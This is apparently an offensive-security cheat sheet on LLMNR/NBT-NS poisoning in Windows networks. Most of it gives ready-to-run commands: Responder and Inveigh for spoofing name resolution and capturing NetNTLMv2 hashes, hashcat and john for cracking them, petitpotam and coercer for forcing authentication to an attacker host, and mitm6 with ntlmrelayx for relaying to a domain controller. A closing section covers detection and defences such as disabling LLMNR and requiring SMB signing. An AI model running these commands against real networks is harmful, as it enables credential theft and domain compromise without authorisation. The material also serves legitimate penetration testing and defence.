LLMNR / NBT-NS Poisoning

LLMNR and NBT-NS poisoning abuses Windows' fallback name-resolution protocols to impersonate the host a victim is looking for and capture its NetNTLMv2 authentication. It is often the first foothold in a domain before holding any credential at all.

Why it works. When DNS fails to resolve a name (a mistyped path, a share that no longer exists), Windows falls back to LLMNR and NBT-NS, which ask by broadcast "who is FILESRV01?". Nobody validates those answers: if we reply "that's me", the victim treats us as the legitimate server and, trying to authenticate against us, sends a NetNTLMv2 challenge-response with its username and password hash. Listening on the segment with Responder (or Inveigh on Windows) collects those hashes.

The abuse. You launch Responder on the internal interface and wait for (or force) a failed resolution; the captured hash is cracked offline or relayed (see NTLM relay).

Capture hashes (Responder / Inveigh)

Different modes depending on what you want: actually poison, only observe without touching the network, or serve a WPAD to also capture HTTP authentication. Hashes land in /usr/share/responder/logs/:

sudo responder -I <iface> -wv                       # poison LLMNR/NBT-NS/mDNS + rogue servers
sudo responder -I <iface> -A                        # analyse mode: observe without replying (recon)
sudo responder -I <iface> -wvF                      # force WPAD (proxy) auth -> HTTP hash

From an already-compromised Windows box you use Inveigh (same attack, without leaving the domain):

Import-Module .\Inveigh.ps1; Invoke-Inveigh -ConsoleOutput Y -NBNS Y -LLMNR Y
Inveigh.exe                                          # compiled C# version

The captured NetNTLMv2 is cracked offline (no good for pass-the-hash):

hashcat -m 5600 <hash.txt> <rockyou.txt>
john --format=netntlmv2 --wordlist=<rockyou.txt> <hash.txt>

Force the resolution (coercion)

If nobody mistypes a name, you provoke the failure: make the victim open a UNC path toward you, or coerce a server directly.

# seed links/documents pointing to \\<lhost>\share (SCF, .url, .lnk)
# or coerce machine authentication against our host:
petitpotam.py -u <user> -p <pass> <lhost> <target>
coercer coerce -u <user> -p <pass> -t <target> -l <lhost>

mitm6 (IPv6 / DHCPv6 poisoning)

Windows prefers IPv6 and asks for an address via DHCPv6 with nobody serving that protocol: mitm6 impersonates the IPv6 DNS server and redirects resolution toward us, usually chained into a relay:

mitm6 -d <domain>
ntlmrelayx.py -6 -t ldaps://<dc-ip> -wh wpad.<domain> -l loot   # combine with mitm6

Requirements. You must be on the same broadcast segment as the victims (this is a local-network attack) and LLMNR/NBT-NS must still be enabled, which is the default. The NetNTLMv2 hash cannot be used for pass-the-hash: you either crack it or relay it.

How to detect it. The network fingerprint is a host that answers LLMNR (UDP 5355) and NBT-NS (UDP 137) queries for many varied names that are not its own, often always the first to reply. On the blue side you can seed a honeytoken account whose use only makes sense if someone poisoned resolution, and watch for NetNTLMv2 authentications toward machines that are not servers. A spike of broadcast traffic answered by a single machine is the signal.

Defence. Disable LLMNR (via GPO) and NBT-NS (per adapter), which cuts the vector at the root; segment the network to limit the broadcast domain; and require SMB signing so a captured hash cannot be relayed. It feeds directly into NTLM relay and hash cracking, and the result often enables a password spray.